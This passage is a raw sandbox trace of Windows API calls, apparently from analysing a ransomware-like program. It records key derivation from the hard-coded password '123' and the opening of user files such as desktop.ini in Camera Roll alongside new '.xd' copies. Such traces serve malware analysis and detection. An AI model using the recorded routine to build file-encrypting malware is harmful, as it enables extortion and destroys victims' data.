(hInternet=0xcc000c) returned 1 [0063.121] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.121] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.121] CloseHandle (hObject=0x0) returned 0 [0063.121] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.121] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.121] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.121] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.122] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.122] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.122] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.122] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.122] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.122] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.122] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.122] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.122] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.122] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.122] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.122] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.122] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.122] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.122] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.122] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.123] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.123] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.123] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f88) returned 1 [0063.124] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.124] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.124] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.124] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.124] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.124] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.124] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.124] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.124] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.125] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.125] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.125] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.125] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.125] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.125] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.125] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.125] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.125] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.126] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.126] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.126] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.126] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.126] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.126] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.126] CryptCreateHash (in: hProv=0x17a9f88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.127] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.127] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629380, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.127] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.127] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.127] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.127] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621750, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.127] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.127] CryptHashData (hHash=0x164c6b0, pbData=0x1629360, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.127] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.127] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.128] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.128] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.128] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.128] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.128] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.128] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.128] CryptDeriveKey (in: hProv=0x17a9f88, Algid=0x6610, hBaseData=0x164c6b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164ca30) returned 1 [0063.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.128] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.129] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.129] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.129] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.129] CryptDestroyHash (hHash=0x164c6b0) returned 1 [0063.129] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.129] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.129] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.129] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.129] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.129] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\camera roll\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.130] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.130] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.135] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.135] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.135] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.135] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\camera roll")) returned 0x11 [0063.136] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\camera roll\\desktop.ini.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.136] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.136] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.136] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.136] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.138] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.138] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xbe, lpOverlapped=0x0) returned 1 [0063.140] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.142] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.142] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.142] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.142] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.142] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.142] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.142] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.142] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.142] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.142] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.143] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.143] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.143] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.143] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.143] CryptGetKeyParam (in: hKey=0x164ca30, dwParam=0x7, pbData=0x1629500, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629500*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.143] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.143] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 